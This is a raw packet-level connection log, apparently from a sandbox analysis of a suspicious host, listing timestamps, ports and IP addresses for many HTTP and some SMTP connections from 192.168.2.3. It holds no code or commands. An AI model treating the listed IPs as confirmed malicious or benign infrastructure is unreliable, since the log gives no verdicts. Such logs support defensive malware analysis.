May 31, 2023 14:51:08.384111881 CEST	50076	80	192.168.2.3	170.82.173.30
May 31, 2023 14:51:08.400273085 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.400345087 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:51:08.481215954 CEST	49791	80	192.168.2.3	216.58.215.243
May 31, 2023 14:51:08.496990919 CEST	80	49791	216.58.215.243	192.168.2.3
May 31, 2023 14:51:08.497106075 CEST	49791	80	192.168.2.3	216.58.215.243
May 31, 2023 14:51:08.578073978 CEST	50079	80	192.168.2.3	62.122.190.121
May 31, 2023 14:51:08.611975908 CEST	80	50079	62.122.190.121	192.168.2.3
May 31, 2023 14:51:08.612097025 CEST	50079	80	192.168.2.3	62.122.190.121
May 31, 2023 14:51:08.650077105 CEST	49792	80	192.168.2.3	192.241.158.94
May 31, 2023 14:51:08.652409077 CEST	50080	80	192.168.2.3	104.26.15.53
May 31, 2023 14:51:08.654131889 CEST	50079	80	192.168.2.3	62.122.190.121
May 31, 2023 14:51:08.654557943 CEST	50081	80	192.168.2.3	206.191.152.37
May 31, 2023 14:51:08.654875040 CEST	50082	80	192.168.2.3	216.58.215.243
May 31, 2023 14:51:08.656900883 CEST	50083	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:08.657396078 CEST	50084	80	192.168.2.3	192.241.158.94
May 31, 2023 14:51:08.666018009 CEST	49795	80	192.168.2.3	172.67.152.159
May 31, 2023 14:51:08.669042110 CEST	80	50080	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.670197964 CEST	50085	80	192.168.2.3	172.67.152.159
May 31, 2023 14:51:08.670279980 CEST	80	50082	216.58.215.243	192.168.2.3
May 31, 2023 14:51:08.674468994 CEST	50080	80	192.168.2.3	104.26.15.53
May 31, 2023 14:51:08.674622059 CEST	50082	80	192.168.2.3	216.58.215.243
May 31, 2023 14:51:08.682677984 CEST	80	49795	172.67.152.159	192.168.2.3
May 31, 2023 14:51:08.686899900 CEST	80	50085	172.67.152.159	192.168.2.3
May 31, 2023 14:51:08.687957048 CEST	80	50079	62.122.190.121	192.168.2.3
May 31, 2023 14:51:08.689696074 CEST	49795	80	192.168.2.3	172.67.152.159
May 31, 2023 14:51:08.689855099 CEST	50085	80	192.168.2.3	172.67.152.159
May 31, 2023 14:51:08.689930916 CEST	80	50079	62.122.190.121	192.168.2.3
May 31, 2023 14:51:08.690802097 CEST	50079	80	192.168.2.3	62.122.190.121
May 31, 2023 14:51:08.747821093 CEST	80	49792	192.241.158.94	192.168.2.3
May 31, 2023 14:51:08.751454115 CEST	49792	80	192.168.2.3	192.241.158.94
May 31, 2023 14:51:08.759145021 CEST	80	50084	192.241.158.94	192.168.2.3
May 31, 2023 14:51:08.768433094 CEST	50084	80	192.168.2.3	192.241.158.94
May 31, 2023 14:51:08.785520077 CEST	50080	80	192.168.2.3	104.26.15.53
May 31, 2023 14:51:08.785558939 CEST	50085	80	192.168.2.3	172.67.152.159
May 31, 2023 14:51:08.785597086 CEST	50082	80	192.168.2.3	216.58.215.243
May 31, 2023 14:51:08.786550045 CEST	50079	80	192.168.2.3	62.122.190.121
May 31, 2023 14:51:08.786691904 CEST	50084	80	192.168.2.3	192.241.158.94
May 31, 2023 14:51:08.799418926 CEST	49799	80	192.168.2.3	82.201.61.230
May 31, 2023 14:51:08.801007986 CEST	80	50082	216.58.215.243	192.168.2.3
May 31, 2023 14:51:08.801961899 CEST	80	50080	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.802052975 CEST	80	50085	172.67.152.159	192.168.2.3
May 31, 2023 14:51:08.810173035 CEST	50086	80	192.168.2.3	82.201.61.230
May 31, 2023 14:51:08.812820911 CEST	80	50083	3.19.116.195	192.168.2.3
May 31, 2023 14:51:08.813962936 CEST	50083	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:08.814368963 CEST	50083	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:08.814510107 CEST	80	50080	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.814533949 CEST	80	50080	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.814553022 CEST	80	50080	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.814570904 CEST	80	50080	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.814583063 CEST	50080	80	192.168.2.3	104.26.15.53
May 31, 2023 14:51:08.814587116 CEST	80	50080	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.814600945 CEST	80	50080	104.26.15.53	192.168.2.3
May 31, 2023 14:51:08.814697027 CEST	50080	80	192.168.2.3	104.26.15.53
May 31, 2023 14:51:08.821918964 CEST	80	50079	62.122.190.121	192.168.2.3
May 31, 2023 14:51:08.822009087 CEST	50079	80	192.168.2.3	62.122.190.121
May 31, 2023 14:51:08.827442884 CEST	80	49799	82.201.61.230	192.168.2.3
May 31, 2023 14:51:08.837095976 CEST	80	50086	82.201.61.230	192.168.2.3
May 31, 2023 14:51:08.843481064 CEST	50086	80	192.168.2.3	82.201.61.230
May 31, 2023 14:51:08.881339073 CEST	80	50085	172.67.152.159	192.168.2.3
May 31, 2023 14:51:08.881369114 CEST	80	50085	172.67.152.159	192.168.2.3
May 31, 2023 14:51:08.881383896 CEST	80	50085	172.67.152.159	192.168.2.3
May 31, 2023 14:51:08.881592989 CEST	50085	80	192.168.2.3	172.67.152.159
May 31, 2023 14:51:08.885354996 CEST	50085	80	192.168.2.3	172.67.152.159
May 31, 2023 14:51:08.891675949 CEST	80	50084	192.241.158.94	192.168.2.3
May 31, 2023 14:51:08.891725063 CEST	80	50084	192.241.158.94	192.168.2.3
May 31, 2023 14:51:08.893214941 CEST	50084	80	192.168.2.3	192.241.158.94
May 31, 2023 14:51:08.917417049 CEST	80	50081	206.191.152.37	192.168.2.3
May 31, 2023 14:51:08.917629004 CEST	50081	80	192.168.2.3	206.191.152.37
May 31, 2023 14:51:08.925754070 CEST	50086	80	192.168.2.3	82.201.61.230
May 31, 2023 14:51:08.938100100 CEST	80	50060	173.254.28.29	192.168.2.3
May 31, 2023 14:51:08.938215017 CEST	50060	80	192.168.2.3	173.254.28.29
May 31, 2023 14:51:08.952657938 CEST	80	50086	82.201.61.230	192.168.2.3
May 31, 2023 14:51:08.959831953 CEST	80	50086	82.201.61.230	192.168.2.3
May 31, 2023 14:51:08.960228920 CEST	50086	80	192.168.2.3	82.201.61.230
May 31, 2023 14:51:08.964509964 CEST	80	50082	216.58.215.243	192.168.2.3
May 31, 2023 14:51:08.964612007 CEST	50082	80	192.168.2.3	216.58.215.243
May 31, 2023 14:51:08.969448090 CEST	80	50083	3.19.116.195	192.168.2.3
May 31, 2023 14:51:08.969496012 CEST	80	50083	3.19.116.195	192.168.2.3
May 31, 2023 14:51:08.969619989 CEST	50083	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:09.009031057 CEST	80	50011	185.53.177.50	192.168.2.3
May 31, 2023 14:51:09.009058952 CEST	50083	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:09.009155035 CEST	50011	80	192.168.2.3	185.53.177.50
May 31, 2023 14:51:09.063767910 CEST	50081	80	192.168.2.3	206.191.152.37
May 31, 2023 14:51:09.166030884 CEST	80	50083	3.19.116.195	192.168.2.3
May 31, 2023 14:51:09.326750040 CEST	80	50081	206.191.152.37	192.168.2.3
May 31, 2023 14:51:09.327733040 CEST	50084	80	192.168.2.3	192.241.158.94
May 31, 2023 14:51:09.328593969 CEST	80	50081	206.191.152.37	192.168.2.3
May 31, 2023 14:51:09.328614950 CEST	80	50081	206.191.152.37	192.168.2.3
May 31, 2023 14:51:09.329070091 CEST	50081	80	192.168.2.3	206.191.152.37
May 31, 2023 14:51:09.342860937 CEST	50086	80	192.168.2.3	82.201.61.230
May 31, 2023 14:51:09.343056917 CEST	50081	80	192.168.2.3	206.191.152.37
May 31, 2023 14:51:09.376993895 CEST	80	50086	82.201.61.230	192.168.2.3
May 31, 2023 14:51:09.377074003 CEST	50086	80	192.168.2.3	82.201.61.230
May 31, 2023 14:51:09.404252052 CEST	50087	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:09.429343939 CEST	80	50084	192.241.158.94	192.168.2.3
May 31, 2023 14:51:09.438298941 CEST	50084	80	192.168.2.3	192.241.158.94
May 31, 2023 14:51:09.559403896 CEST	80	50087	3.19.116.195	192.168.2.3
May 31, 2023 14:51:09.563190937 CEST	49801	80	192.168.2.3	89.161.163.246
May 31, 2023 14:51:09.564431906 CEST	50087	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:09.593780994 CEST	80	49801	89.161.163.246	192.168.2.3
May 31, 2023 14:51:09.593848944 CEST	49801	80	192.168.2.3	89.161.163.246
May 31, 2023 14:51:09.605798960 CEST	80	50081	206.191.152.37	192.168.2.3
May 31, 2023 14:51:09.609493971 CEST	50087	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:09.614192963 CEST	50088	80	192.168.2.3	89.161.163.246
May 31, 2023 14:51:09.645190954 CEST	80	50088	89.161.163.246	192.168.2.3
May 31, 2023 14:51:09.645313025 CEST	50088	80	192.168.2.3	89.161.163.246
May 31, 2023 14:51:09.678675890 CEST	50088	80	192.168.2.3	89.161.163.246
May 31, 2023 14:51:09.684917927 CEST	49800	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:09.693665981 CEST	49797	80	192.168.2.3	80.74.154.6
May 31, 2023 14:51:09.708331108 CEST	80	49800	34.117.168.233	192.168.2.3
May 31, 2023 14:51:09.708426952 CEST	49800	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:09.709614038 CEST	80	50088	89.161.163.246	192.168.2.3
May 31, 2023 14:51:09.710218906 CEST	80	50088	89.161.163.246	192.168.2.3
May 31, 2023 14:51:09.710279942 CEST	80	50088	89.161.163.246	192.168.2.3
May 31, 2023 14:51:09.710321903 CEST	50088	80	192.168.2.3	89.161.163.246
May 31, 2023 14:51:09.710443974 CEST	50088	80	192.168.2.3	89.161.163.246
May 31, 2023 14:51:09.712351084 CEST	49806	80	192.168.2.3	192.252.154.18
May 31, 2023 14:51:09.713505983 CEST	50089	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:09.719281912 CEST	80	49797	80.74.154.6	192.168.2.3
May 31, 2023 14:51:09.724615097 CEST	49797	80	192.168.2.3	80.74.154.6
May 31, 2023 14:51:09.736825943 CEST	80	50089	34.117.168.233	192.168.2.3
May 31, 2023 14:51:09.736958981 CEST	50089	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:09.741365910 CEST	50090	80	192.168.2.3	80.74.154.6
May 31, 2023 14:51:09.764074087 CEST	80	50087	3.19.116.195	192.168.2.3
May 31, 2023 14:51:09.764094114 CEST	80	50087	3.19.116.195	192.168.2.3
May 31, 2023 14:51:09.764494896 CEST	50087	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:09.766494036 CEST	80	50090	80.74.154.6	192.168.2.3
May 31, 2023 14:51:09.780587912 CEST	50090	80	192.168.2.3	80.74.154.6
May 31, 2023 14:51:09.806359053 CEST	49794	80	192.168.2.3	3.64.163.50
May 31, 2023 14:51:09.810622931 CEST	80	49806	192.252.154.18	192.168.2.3
May 31, 2023 14:51:09.824795961 CEST	49806	80	192.168.2.3	192.252.154.18
May 31, 2023 14:51:09.827212095 CEST	80	49794	3.64.163.50	192.168.2.3
May 31, 2023 14:51:09.832511902 CEST	49794	80	192.168.2.3	3.64.163.50
May 31, 2023 14:51:09.839246988 CEST	50087	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:09.848108053 CEST	49798	80	192.168.2.3	135.181.73.98
May 31, 2023 14:51:09.879709005 CEST	50089	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:09.886286974 CEST	80	49798	135.181.73.98	192.168.2.3
May 31, 2023 14:51:09.903080940 CEST	80	50089	34.117.168.233	192.168.2.3
May 31, 2023 14:51:09.914235115 CEST	80	50089	34.117.168.233	192.168.2.3
May 31, 2023 14:51:09.914350986 CEST	50089	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:09.931886911 CEST	50091	80	192.168.2.3	192.252.154.18
May 31, 2023 14:51:09.932075977 CEST	50090	80	192.168.2.3	80.74.154.6
May 31, 2023 14:51:09.944499969 CEST	49805	80	192.168.2.3	81.2.194.241
May 31, 2023 14:51:09.957252979 CEST	80	50090	80.74.154.6	192.168.2.3
May 31, 2023 14:51:09.957303047 CEST	80	50090	80.74.154.6	192.168.2.3
May 31, 2023 14:51:09.957396984 CEST	50090	80	192.168.2.3	80.74.154.6
May 31, 2023 14:51:09.964670897 CEST	50072	80	192.168.2.3	137.118.26.67
May 31, 2023 14:51:09.981949091 CEST	80	49805	81.2.194.241	192.168.2.3
May 31, 2023 14:51:09.993823051 CEST	80	50087	3.19.116.195	192.168.2.3
May 31, 2023 14:51:10.041059971 CEST	80	50091	192.252.154.18	192.168.2.3
May 31, 2023 14:51:10.044687033 CEST	50091	80	192.168.2.3	192.252.154.18
May 31, 2023 14:51:10.065764904 CEST	50092	80	192.168.2.3	3.64.163.50
May 31, 2023 14:51:10.085844994 CEST	80	50092	3.64.163.50	192.168.2.3
May 31, 2023 14:51:10.087982893 CEST	50093	80	192.168.2.3	135.181.73.98
May 31, 2023 14:51:10.089246035 CEST	50092	80	192.168.2.3	3.64.163.50
May 31, 2023 14:51:10.089615107 CEST	50090	80	192.168.2.3	80.74.154.6
May 31, 2023 14:51:10.089787960 CEST	50091	80	192.168.2.3	192.252.154.18
May 31, 2023 14:51:10.090471029 CEST	50094	80	192.168.2.3	81.2.194.241
May 31, 2023 14:51:10.091990948 CEST	50092	80	192.168.2.3	3.64.163.50
May 31, 2023 14:51:10.111632109 CEST	80	50092	3.64.163.50	192.168.2.3
May 31, 2023 14:51:10.111948013 CEST	80	50092	3.64.163.50	192.168.2.3
May 31, 2023 14:51:10.114928961 CEST	80	50090	80.74.154.6	192.168.2.3
May 31, 2023 14:51:10.123311996 CEST	50092	80	192.168.2.3	3.64.163.50
May 31, 2023 14:51:10.123313904 CEST	50090	80	192.168.2.3	80.74.154.6
May 31, 2023 14:51:10.126050949 CEST	80	50093	135.181.73.98	192.168.2.3
May 31, 2023 14:51:10.126220942 CEST	50093	80	192.168.2.3	135.181.73.98
May 31, 2023 14:51:10.126948118 CEST	80	50094	81.2.194.241	192.168.2.3
May 31, 2023 14:51:10.127682924 CEST	50094	80	192.168.2.3	81.2.194.241
May 31, 2023 14:51:10.198849916 CEST	80	50091	192.252.154.18	192.168.2.3
May 31, 2023 14:51:10.200805902 CEST	80	50091	192.252.154.18	192.168.2.3
May 31, 2023 14:51:10.200877905 CEST	50091	80	192.168.2.3	192.252.154.18
May 31, 2023 14:51:10.227497101 CEST	50093	80	192.168.2.3	135.181.73.98
May 31, 2023 14:51:10.243982077 CEST	50094	80	192.168.2.3	81.2.194.241
May 31, 2023 14:51:10.265770912 CEST	80	50093	135.181.73.98	192.168.2.3
May 31, 2023 14:51:10.266033888 CEST	80	50093	135.181.73.98	192.168.2.3
May 31, 2023 14:51:10.280770063 CEST	80	50094	81.2.194.241	192.168.2.3
May 31, 2023 14:51:10.281002045 CEST	50093	80	192.168.2.3	135.181.73.98
May 31, 2023 14:51:10.369939089 CEST	49810	80	192.168.2.3	60.43.154.138
May 31, 2023 14:51:10.378317118 CEST	80	50086	82.201.61.230	192.168.2.3
May 31, 2023 14:51:10.378398895 CEST	50086	80	192.168.2.3	82.201.61.230
May 31, 2023 14:51:10.562725067 CEST	80	50094	81.2.194.241	192.168.2.3
May 31, 2023 14:51:10.564677000 CEST	50094	80	192.168.2.3	81.2.194.241
May 31, 2023 14:51:10.571016073 CEST	49817	80	192.168.2.3	185.80.51.179
May 31, 2023 14:51:10.571754932 CEST	50093	80	192.168.2.3	135.181.73.98
May 31, 2023 14:51:10.600899935 CEST	50095	80	192.168.2.3	60.43.154.138
May 31, 2023 14:51:10.602813005 CEST	50096	80	192.168.2.3	185.80.51.179
May 31, 2023 14:51:10.609499931 CEST	80	49817	185.80.51.179	192.168.2.3
May 31, 2023 14:51:10.609906912 CEST	49807	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:10.610228062 CEST	80	50093	135.181.73.98	192.168.2.3
May 31, 2023 14:51:10.610475063 CEST	50093	80	192.168.2.3	135.181.73.98
May 31, 2023 14:51:10.611802101 CEST	50094	80	192.168.2.3	81.2.194.241
May 31, 2023 14:51:10.614403963 CEST	50097	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:10.626882076 CEST	80	49807	188.114.96.7	192.168.2.3
May 31, 2023 14:51:10.626966953 CEST	49807	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:10.630866051 CEST	80	50097	188.114.96.7	192.168.2.3
May 31, 2023 14:51:10.630965948 CEST	50097	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:10.641263008 CEST	80	50096	185.80.51.179	192.168.2.3
May 31, 2023 14:51:10.644144058 CEST	50096	80	192.168.2.3	185.80.51.179
May 31, 2023 14:51:10.648307085 CEST	80	50094	81.2.194.241	192.168.2.3
May 31, 2023 14:51:10.666644096 CEST	80	49810	60.43.154.138	192.168.2.3
May 31, 2023 14:51:10.670986891 CEST	80	50094	81.2.194.241	192.168.2.3
May 31, 2023 14:51:10.671060085 CEST	50094	80	192.168.2.3	81.2.194.241
May 31, 2023 14:51:10.685225010 CEST	50097	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:10.685256958 CEST	50096	80	192.168.2.3	185.80.51.179
May 31, 2023 14:51:10.701752901 CEST	80	50097	188.114.96.7	192.168.2.3
May 31, 2023 14:51:10.713547945 CEST	80	50097	188.114.96.7	192.168.2.3
May 31, 2023 14:51:10.713669062 CEST	50097	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:10.723716974 CEST	80	50096	185.80.51.179	192.168.2.3
May 31, 2023 14:51:10.724481106 CEST	80	50096	185.80.51.179	192.168.2.3
May 31, 2023 14:51:10.724606037 CEST	50096	80	192.168.2.3	185.80.51.179
May 31, 2023 14:51:10.895473003 CEST	80	50095	60.43.154.138	192.168.2.3
May 31, 2023 14:51:10.895672083 CEST	50095	80	192.168.2.3	60.43.154.138
May 31, 2023 14:51:10.976681948 CEST	49803	80	192.168.2.3	192.124.249.10
May 31, 2023 14:51:10.977000952 CEST	50096	80	192.168.2.3	185.80.51.179
May 31, 2023 14:51:10.977456093 CEST	50095	80	192.168.2.3	60.43.154.138
May 31, 2023 14:51:10.980045080 CEST	50098	80	192.168.2.3	192.124.249.10
May 31, 2023 14:51:10.996210098 CEST	80	49803	192.124.249.10	192.168.2.3
May 31, 2023 14:51:10.999164104 CEST	49803	80	192.168.2.3	192.124.249.10
May 31, 2023 14:51:11.002159119 CEST	80	50098	192.124.249.10	192.168.2.3
May 31, 2023 14:51:11.002291918 CEST	50098	80	192.168.2.3	192.124.249.10
May 31, 2023 14:51:11.016288042 CEST	80	50096	185.80.51.179	192.168.2.3
May 31, 2023 14:51:11.024961948 CEST	50096	80	192.168.2.3	185.80.51.179
May 31, 2023 14:51:11.049952030 CEST	49809	80	192.168.2.3	202.254.236.40
May 31, 2023 14:51:11.049983978 CEST	49808	80	192.168.2.3	104.21.55.224
May 31, 2023 14:51:11.066884995 CEST	80	49808	104.21.55.224	192.168.2.3
May 31, 2023 14:51:11.067357063 CEST	49808	80	192.168.2.3	104.21.55.224
May 31, 2023 14:51:11.127866983 CEST	50098	80	192.168.2.3	192.124.249.10
May 31, 2023 14:51:11.149653912 CEST	80	50098	192.124.249.10	192.168.2.3
May 31, 2023 14:51:11.149888992 CEST	80	50098	192.124.249.10	192.168.2.3
May 31, 2023 14:51:11.149944067 CEST	50098	80	192.168.2.3	192.124.249.10
May 31, 2023 14:51:11.272087097 CEST	80	50095	60.43.154.138	192.168.2.3
May 31, 2023 14:51:11.272870064 CEST	80	50095	60.43.154.138	192.168.2.3
May 31, 2023 14:51:11.272927999 CEST	50095	80	192.168.2.3	60.43.154.138
May 31, 2023 14:51:11.291465998 CEST	50100	80	192.168.2.3	104.21.55.224
May 31, 2023 14:51:11.291486979 CEST	50099	80	192.168.2.3	202.254.236.40
May 31, 2023 14:51:11.292119026 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:11.308100939 CEST	80	50100	104.21.55.224	192.168.2.3
May 31, 2023 14:51:11.309309959 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:51:11.315248966 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:11.315267086 CEST	50100	80	192.168.2.3	104.21.55.224
May 31, 2023 14:51:11.316338062 CEST	50101	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:11.316525936 CEST	50098	80	192.168.2.3	192.124.249.10
May 31, 2023 14:51:11.318152905 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:11.318649054 CEST	50100	80	192.168.2.3	104.21.55.224
May 31, 2023 14:51:11.320336103 CEST	50095	80	192.168.2.3	60.43.154.138
May 31, 2023 14:51:11.322336912 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:11.323481083 CEST	50103	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:11.324553013 CEST	80	49809	202.254.236.40	192.168.2.3
May 31, 2023 14:51:11.334985971 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:11.335017920 CEST	80	50100	104.21.55.224	192.168.2.3
May 31, 2023 14:51:11.336139917 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:11.338566065 CEST	80	50098	192.124.249.10	192.168.2.3
May 31, 2023 14:51:11.338639975 CEST	50098	80	192.168.2.3	192.124.249.10
May 31, 2023 14:51:11.338958979 CEST	80	49815	188.114.96.7	192.168.2.3
May 31, 2023 14:51:11.339019060 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:11.339891911 CEST	80	50103	188.114.96.7	192.168.2.3
May 31, 2023 14:51:11.339981079 CEST	50103	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:11.343508959 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:11.350061893 CEST	80	50100	104.21.55.224	192.168.2.3
May 31, 2023 14:51:11.350425005 CEST	50100	80	192.168.2.3	104.21.55.224
May 31, 2023 14:51:11.360281944 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:11.381289959 CEST	80	49979	104.196.26.65	192.168.2.3
May 31, 2023 14:51:11.385426044 CEST	49979	80	192.168.2.3	104.196.26.65
May 31, 2023 14:51:11.471474886 CEST	80	50101	3.19.116.195	192.168.2.3
May 31, 2023 14:51:11.471827030 CEST	50058	80	192.168.2.3	96.91.204.114
May 31, 2023 14:51:11.471887112 CEST	50101	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:11.480577946 CEST	50103	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:11.497188091 CEST	80	50103	188.114.96.7	192.168.2.3
May 31, 2023 14:51:11.562789917 CEST	80	50099	202.254.236.40	192.168.2.3
May 31, 2023 14:51:11.575217009 CEST	50099	80	192.168.2.3	202.254.236.40
May 31, 2023 14:51:11.615536928 CEST	80	50095	60.43.154.138	192.168.2.3
May 31, 2023 14:51:11.615796089 CEST	50095	80	192.168.2.3	60.43.154.138
May 31, 2023 14:51:11.626246929 CEST	80	50036	213.186.33.40	192.168.2.3
May 31, 2023 14:51:11.627059937 CEST	50036	80	192.168.2.3	213.186.33.40
May 31, 2023 14:51:11.644758940 CEST	50064	25	192.168.2.3	87.248.97.36
May 31, 2023 14:51:11.645075083 CEST	49821	80	192.168.2.3	46.242.238.60
May 31, 2023 14:51:11.671526909 CEST	80	50094	81.2.194.241	192.168.2.3
May 31, 2023 14:51:11.675426006 CEST	50094	80	192.168.2.3	81.2.194.241
May 31, 2023 14:51:11.676062107 CEST	80	49821	46.242.238.60	192.168.2.3
May 31, 2023 14:51:11.676214933 CEST	49821	80	192.168.2.3	46.242.238.60
May 31, 2023 14:51:11.682044029 CEST	50101	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:11.682751894 CEST	50099	80	192.168.2.3	202.254.236.40
May 31, 2023 14:51:11.683062077 CEST	25	50064	87.248.97.36	192.168.2.3
May 31, 2023 14:51:11.683209896 CEST	50064	25	192.168.2.3	87.248.97.36
May 31, 2023 14:51:11.690217018 CEST	50105	25	192.168.2.3	142.250.153.27
May 31, 2023 14:51:11.706183910 CEST	49818	80	192.168.2.3	99.84.88.20
May 31, 2023 14:51:11.706978083 CEST	50106	80	192.168.2.3	99.84.88.20
May 31, 2023 14:51:11.719432116 CEST	25	50105	142.250.153.27	192.168.2.3
May 31, 2023 14:51:11.719563961 CEST	50105	25	192.168.2.3	142.250.153.27
May 31, 2023 14:51:11.720666885 CEST	80	49818	99.84.88.20	192.168.2.3
May 31, 2023 14:51:11.720741034 CEST	49818	80	192.168.2.3	99.84.88.20
May 31, 2023 14:51:11.721288919 CEST	80	50106	99.84.88.20	192.168.2.3
May 31, 2023 14:51:11.721920967 CEST	50105	25	192.168.2.3	142.250.153.27
May 31, 2023 14:51:11.722114086 CEST	50106	80	192.168.2.3	99.84.88.20
May 31, 2023 14:51:11.722606897 CEST	50106	80	192.168.2.3	99.84.88.20
May 31, 2023 14:51:11.732821941 CEST	80	50103	188.114.96.7	192.168.2.3
May 31, 2023 14:51:11.732848883 CEST	80	50103	188.114.96.7	192.168.2.3
May 31, 2023 14:51:11.737023115 CEST	80	50106	99.84.88.20	192.168.2.3
May 31, 2023 14:51:11.737268925 CEST	80	50106	99.84.88.20	192.168.2.3
May 31, 2023 14:51:11.737792969 CEST	50103	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:11.737796068 CEST	50106	80	192.168.2.3	99.84.88.20
May 31, 2023 14:51:11.750946999 CEST	25	50105	142.250.153.27	192.168.2.3
May 31, 2023 14:51:11.775547028 CEST	50106	80	192.168.2.3	99.84.88.20
May 31, 2023 14:51:11.790080070 CEST	80	50106	99.84.88.20	192.168.2.3
May 31, 2023 14:51:11.790277958 CEST	80	50106	99.84.88.20	192.168.2.3
May 31, 2023 14:51:11.790348053 CEST	50106	80	192.168.2.3	99.84.88.20
May 31, 2023 14:51:11.833810091 CEST	50104	80	192.168.2.3	193.166.255.171
May 31, 2023 14:51:11.836774111 CEST	80	50101	3.19.116.195	192.168.2.3
May 31, 2023 14:51:11.836807966 CEST	80	50101	3.19.116.195	192.168.2.3
May 31, 2023 14:51:11.840189934 CEST	50101	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:11.881253958 CEST	50101	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:11.881341934 CEST	50107	80	192.168.2.3	46.242.238.60
May 31, 2023 14:51:11.911643982 CEST	80	50107	46.242.238.60	192.168.2.3
May 31, 2023 14:51:11.911731958 CEST	80	50055	162.43.120.128	192.168.2.3
May 31, 2023 14:51:11.912089109 CEST	50107	80	192.168.2.3	46.242.238.60
May 31, 2023 14:51:11.912699938 CEST	50055	80	192.168.2.3	162.43.120.128
May 31, 2023 14:51:11.912703991 CEST	50103	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:11.916892052 CEST	50107	80	192.168.2.3	46.242.238.60
May 31, 2023 14:51:11.929069996 CEST	80	50103	188.114.96.7	192.168.2.3
May 31, 2023 14:51:11.947103024 CEST	80	50107	46.242.238.60	192.168.2.3
May 31, 2023 14:51:11.948298931 CEST	80	50107	46.242.238.60	192.168.2.3
May 31, 2023 14:51:11.948381901 CEST	50107	80	192.168.2.3	46.242.238.60
May 31, 2023 14:51:11.954204082 CEST	80	50099	202.254.236.40	192.168.2.3
May 31, 2023 14:51:11.955322981 CEST	80	50099	202.254.236.40	192.168.2.3
May 31, 2023 14:51:11.956188917 CEST	50099	80	192.168.2.3	202.254.236.40
May 31, 2023 14:51:11.957910061 CEST	50108	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:12.016710997 CEST	50099	80	192.168.2.3	202.254.236.40
May 31, 2023 14:51:12.036051035 CEST	80	50101	3.19.116.195	192.168.2.3
May 31, 2023 14:51:12.045192003 CEST	50109	80	192.168.2.3	34.228.163.56
May 31, 2023 14:51:12.060484886 CEST	80	50070	80.93.82.33	192.168.2.3
May 31, 2023 14:51:12.061167955 CEST	50070	80	192.168.2.3	80.93.82.33
May 31, 2023 14:51:12.061512947 CEST	80	50103	188.114.96.7	192.168.2.3
May 31, 2023 14:51:12.061532021 CEST	80	50103	188.114.96.7	192.168.2.3
May 31, 2023 14:51:12.061603069 CEST	80	50103	188.114.96.7	192.168.2.3
May 31, 2023 14:51:12.062558889 CEST	50103	80	192.168.2.3	188.114.96.7
May 31, 2023 14:51:12.082415104 CEST	49812	80	192.168.2.3	188.165.133.163
May 31, 2023 14:51:12.083851099 CEST	50110	80	192.168.2.3	188.165.133.163
May 31, 2023 14:51:12.102300882 CEST	80	49812	188.165.133.163	192.168.2.3
May 31, 2023 14:51:12.103732109 CEST	80	50110	188.165.133.163	192.168.2.3
May 31, 2023 14:51:12.111233950 CEST	49812	80	192.168.2.3	188.165.133.163
May 31, 2023 14:51:12.111311913 CEST	50110	80	192.168.2.3	188.165.133.163
May 31, 2023 14:51:12.113018990 CEST	80	50108	3.19.116.195	192.168.2.3
May 31, 2023 14:51:12.113152981 CEST	50108	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:12.190653086 CEST	80	50109	34.228.163.56	192.168.2.3
May 31, 2023 14:51:12.192662001 CEST	50109	80	192.168.2.3	34.228.163.56
May 31, 2023 14:51:12.289244890 CEST	80	50099	202.254.236.40	192.168.2.3
May 31, 2023 14:51:12.292952061 CEST	50099	80	192.168.2.3	202.254.236.40
